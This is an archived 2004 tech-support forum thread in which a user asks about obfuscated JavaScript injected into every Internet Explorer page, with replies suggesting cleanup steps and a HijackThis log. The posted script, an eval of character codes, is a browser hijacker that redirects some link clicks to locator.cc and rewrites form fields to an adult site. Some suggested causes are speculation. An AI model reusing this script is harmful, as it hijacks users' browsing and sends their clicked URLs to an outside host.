Weird javascript at top of Internet Explorer source code + can't use windows update

Posted on 2004-03-30
Last Modified: 2013-12-16
Very weird issue here.  I have some javascript that is showing up at the beginning of all webpages I visit.  Someone translated it for me and said it has something to do with adult dvds.  Also whatever it is prevents me from doing windows update.

Any clue?

here is the code

<script language="JavaScript">
eval(String.fromCharCode(118,97,114,32,114,115,99,95,110,99,108,107,61,48,59,118,97,114,32,114,115,99,95,107, 119,95,102,111,117,110,100,61,48,59,102,117,110,99,116,105,111,110,32,114,115,99,95,104,95,99,108,105,99, 107, 40,41,123, 114,115,99,95,110,99,108,107,43,43,59,118,97,114,32,97,99,116,105,118,101,69,108,61,100,111,99,117,109,101,110,116,46,97,99,116,105,118,101,69,108,101,109,101,110,116,59,118,97,114,32,104,114, 101,102,61,97,99, 116,105,118,101,69,108,46,104,114,101,102,59,105,102,40,40,114,115,99,95,110,99,108,107,61,61,50,32,124,124,32,114,115,99,95,110,99,108,107,61,61,52,32,124,124,32,114,115,99,95,110,99,108,107,61,61,54,41,32,38,38,32,114,115,99,95, 107,119,95,102,111,117,110,100,61,61,49,41,123,119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,108,111,99,97,116,111,114,46,99,99,47,103,111,63,39,43,104,114,101,102,41, 59,114,101,116,117,114,110,32,102,97,108,115,101,59,125,101,108,115,101,123,114,101,116,117,114,110,32,116,114,117,101,59,125,125,102,117,110,99,116,105,111,110,32,114,115,99,95,104,95,115,110,100,102,111,114, 109,40,41,123,118,97,114,32,105,44,106,59,102,111,114,40,106,61,48,59,106,60,100,111,99,117,109,101,110,116,46,102,111,114,109,115,46,108,101,110,103,116,104,59,106,43,43,41,123,102,111,114,32,40,105,61,48,59,105,60,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,106,93,46,108,101,110,103,116,104,59,105,43,43,41,123,105,102,32,40,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,101,109, 101,110,116,115,91,105,93,46,118,97,108,117,101,61,61,39,104,116,116,112,58,47,47,39,41,123,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,101,109,101,110,116,115,91,105,93,46,118,97,108,117,101,61,39,104,116,116,112, 58,47,47,119,119,119,46,97,100,117,108,116,45,100,118,100,109,111,118,105,101,46,99,111,109,47,39,59,125,125,125,114,101,116,117,114,110,32,116,114,117,101,59,125));
Question by:jag5311
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
LVL 11

Expert Comment

ID: 10720461
first up would be to do a virus scan and also scan for spyware has some great spyware removal tools

Author Comment

ID: 10720479
I have used ad-aware, spybot s&d and hijack this and cleaned what was appropriate.  

If I have a virus scan running all the time, wouldn't it pick up everytime I opened internet explorer?

Also, here are my hijack This results if it means anything.

Logfile of HijackThis v1.97.7
Scan saved at 9:47:54 PM, on 3/30/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\Program Files\McAfee\McAfee VirusScan\Avsynmgr.exe
C:\Program Files\Promise\Utility\MsgAgt.exe
C:\Program Files\McAfee\McAfee VirusScan\VsStat.exe
C:\Program Files\McAfee\McAfee VirusScan\Vshwin32.exe
C:\Program Files\Common Files\Network Associates\McShield\Mcshield.exe
C:\Program Files\McAfee\McAfee VirusScan\Avconsol.exe
C:\Program Files\Microsoft Hardware\Mouse\point32.exe
C:\Program Files\McAfee\McAfee Shared Components\Guardian\CMGrdian.exe
C:\Program Files\AWS\WeatherBug\Weather.exe
C:\Program Files\McAfee\McAfee Shared Components\Instant Updater\RuLaunch.exe
C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpobnz08.exe
C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe
C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpoevm08.exe
C:\Program Files\Hewlett-Packard\Digital Imaging\Bin\hpoSTS08.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Documents and Settings\Bryan\Local Settings\Temp\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page =
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL =
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride =
R1 - HKCU\Software\Microsoft\Internet Connection Wizard,Shellnext = wmplayer.exe
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O3 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Adobe\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O3 - Toolbar: FlashGet Bar - {E0E899AB-F487-11D5-8D29-0050BA6940E3} - C:\PROGRA~1\FlashGet\fgiebar.dll
O3 - Toolbar: McAfee VirusScan - {ACB1E670-3217-45C4-A021-6B829A8A27CB} - C:\Program Files\McAfee\McAfee VirusScan\VSCShellExtension.dll
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - c:\program files\google\googletoolbar1.dll
O4 - HKLM\..\Run: [POINTER] point32.exe
O4 - HKLM\..\Run: [McAfee Guardian] "C:\Program Files\McAfee\McAfee Shared Components\Guardian\CMGrdian.exe" /SU
O4 - HKCU\..\Run: [Weather] C:\Program Files\AWS\WeatherBug\Weather.exe 1
O4 - HKCU\..\Run: [McAfee.InstantUpdate.Monitor] "C:\Program Files\McAfee\McAfee Shared Components\Instant Updater\RuLaunch.exe" /STARTMONITOR
O4 - Global Startup: Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe
O4 - Global Startup: hp psc 2000 Series.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpobnz08.exe
O4 - Global Startup: hpoddt01.exe.lnk = ?
O8 - Extra context menu item: &Google Search - res://c:\program files\google\GoogleToolbar1.dll/cmsearch.html
O8 - Extra context menu item: Backward &Links - res://c:\program files\google\GoogleToolbar1.dll/cmbacklinks.html
O8 - Extra context menu item: Cac&hed Snapshot of Page - res://c:\program files\google\GoogleToolbar1.dll/cmcache.html
O8 - Extra context menu item: Download All by FlashGet - C:\PROGRA~1\FlashGet\jc_all.htm
O8 - Extra context menu item: Download using FlashGet - C:\PROGRA~1\FlashGet\jc_link.htm
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O8 - Extra context menu item: Si&milar Pages - res://c:\program files\google\GoogleToolbar1.dll/cmsimilar.html
O8 - Extra context menu item: Translate into English - res://c:\program files\google\GoogleToolbar1.dll/cmtrans.html
O9 - Extra 'Tools' menuitem: Sun Java Console (HKLM)
O9 - Extra button: Messenger (HKLM)
O9 - Extra 'Tools' menuitem: Yahoo! Messenger (HKLM)
O9 - Extra button: FlashGet (HKLM)
O9 - Extra 'Tools' menuitem: &FlashGet (HKLM)
O9 - Extra button: WeatherBug (HKCU)
O12 - Plugin for .mid: C:\Program Files\Internet Explorer\PLUGINS\npqtplugin2.dll
O12 - Plugin for .mpeg: C:\Program Files\Internet Explorer\PLUGINS\npqtplugin3.dll
O12 - Plugin for .mpg: C:\Program Files\Internet Explorer\PLUGINS\npqtplugin3.dll
O16 - DPF: {02BCC737-B171-4746-94C9-0D8A0B2C0089} (Microsoft Office Template and Media Control) -
O16 - DPF: {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B} (QuickTime Object) -
O16 - DPF: {0C568603-D79D-11D2-87A7-00C04FF158BB} (BrowseFolderPopup Class) -
O16 - DPF: {0E5F0222-96B9-11D3-8997-00104BD12D94} (PCPitstop Utility) -
O16 - DPF: {11111111-1111-1111-1111-111111111123} - ms-its:mhtml:file://C:\ss.MHT!
O16 - DPF: {166B1BCA-3F9C-11CF-8075-444553540000} (Shockwave ActiveX Control) -
O16 - DPF: {2B96D5CC-C5B5-49A5-A69D-CC0A30F9028C} (MiniBugTransporterX Class) -
O16 - DPF: {30528230-99F7-4BB4-88D8-FA1D4F56A2AB} (YInstStarter Class) -
O16 - DPF: {33564D57-0000-0010-8000-00AA00389B71} -
O16 - DPF: {3E68E405-C6DE-49FF-83AE-41EE9F4C36CE} (Office Update Installation Engine) -
O16 - DPF: {597C45C2-2D39-11D5-8D53-0050048383FE} (OPUCatalog Class) -
O16 - DPF: {69432678-2906-2705-1128-068943397621} -
O16 - DPF: {8E28B3A9-FE83-45D1-B657-D5426B81A121} (CustomerCtrl Class) -
O16 - DPF: {9DBAFCCF-592F-FFFF-FFFF-00608CEC297C} -
O16 - DPF: {9F1C11AA-197B-4942-BA54-47A8489BB47F} (Update Class) -
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) -
O16 - DPF: {D8089245-3211-40F6-819B-9E5E92CD61A2} (FlashXControl Object) -
O16 - DPF: {EB387D2F-E27B-4D36-979E-847D1036C65D} (QDiagHUpdateObj Class) -
O16 - DPF: {F54C1137-5E34-4B95-95A5-BA56D4D8D743} (Secure Delivery) -

Expert Comment

ID: 10721532

Goto: start/control panel/internet options, set everything to default, and also in add remove programes do a repair of IE.

Are You Using the Best Web Development Editor?

The worlds of web hosting and web development are constantly evolving. Every year we see design trends change, coding standards adapt and new frameworks/CMS created. With such a quick pace of change it’s easy to get lost trying to keep up.

See if your editor made the list.


Expert Comment

ID: 10723582
I suspect Weather bug to likely be a cause of concern. Can you try to disable the software from running or uninstall the same and check if that helps. Because, it tends to come up with Ads and that means, it can likely cause these JScript errors.

More info from pest patrol:

Good Luck!!!


Author Comment

ID: 10723867
Well, here is the thing.  I have been running this version of AWS for quite some time and haven't had a problem.  The problem comes down to I think my
dad was using my computer, in fact I know he was, and what he was looking at scares me because he doesn't know computers like I do and he doesn't realize that going
to certain sites can cause damage to the computer.  Now, whether he was looking at any adult sites, I don't know, but I had someone tell me over at that
those numbers are converted to this.

var rsc_nclk=0;var rsc_kw_found=0;function rsc_h_click(){rsc_nclk++;var activeEl=document.activeElement;var href=activeEl.href;if((rsc_nclk==2 ||
rsc_nclk==4 || rsc_nclk==6) && rsc_kw_found==1){''+href);return false;}else{return true;}}function rsc_h_
sndform(){var i,j;for(j=0;j<document.forms.length;j++){for (i=0;i<document.forms[j].length;i++){if (document.forms[0].elements[i].value=='http://')
{document.forms[0].elements[i].value='';}}}return true;}

Notice the

However, a coworker of mine said nowadays, you don't even have to go to an adult site to cause this crap, so who knows if he was on an adult site or not, but he did something.

Yesterday, I was having an issue with spyware (which ultimately could lead to where we are at now), but it was using or something.  Everytime I opened Internet explorer, it was
trying to use my homepage to insert things like %67%45%66.......  Then When I would clear it out, it would come back next time I restarted IE.  Here is another thing I forgot to mention.

After running my anti spyware proggies, a couple times after I cleaned something out, my mcafee virusscan would pick up on something and shoot up the alert box.  I probably should have remembered the names
of the files, but I chose to delete the files.  It did this a few times so I believe it cleaned about 7 files that were alerting Mcafee.  So ever since then, I can't use Windows Update, login to Yahoo, basically
Internet Explorer seems f*ed up.  Sites just are showing how they should, and I suspect it has to do with that javascript code at the top of every page I access.

So there is a quick summary.

Expert Comment

ID: 10723912
Well this looks more like a Porn service running on the computer. These are like the ones which load Porn site EXEs to the computer.

This software can clean up Porn contents on the computer and has worked well. Worth a try:


Accepted Solution

mulderdavid earned 125 total points
ID: 10789858
I had the same script at the top of my pages and I found a nasty dll in my windows folder: dp.dll

Apart from the ussual registry classes I also found the following keys



These keys sort of explain what is hapening.

Anyway, after deleting the suspect registry keys and a reboot I could delete the dll and the script was gone.

Author Comment

ID: 10872680
BTW - there is also a virus called addcls (can't remember the extension) but I thought I had deleted the javascript dp.dll file but my virusscan found that addcls thingy.

I am not sure if I got rid of the sucka though yet

Featured Post

Get 15 Days FREE Full-Featured Trial

Benefit from a mission critical IT monitoring with Monitis Premium or get it FREE for your entry level monitoring needs.
-Over 200,000 users
-More than 300,000 websites monitored
-Used in 197 countries
-Recommended by 98% of users

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Introduction In this tutorial, I'll explain how to create an animated progress meter in a wireframe prototype developed using Axure RP 7.0 - a leading prototyping tool for designing web sites and software. (For more information about Axure and gett…
Today, still in the boom of Apple, PC's and products, nearly 50% of the computer users use Windows as graphical operating systems. If you are among those users who love windows, but are grappling to keep the system's hard drive optimized, then you s…
The purpose of this video is to demonstrate how to exclude a particular blog category from the main blog page. This is can be used when a category already has its own tab, or you simply want certain types of posts not to show up on the main blog. …
The purpose of this video is to demonstrate how to update a WordPress Site’s version. WordPress releases new versions of its software frequently and it is important to update frequently in order to keep your site secure, and to get new WordPress…
Suggested Courses

624 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question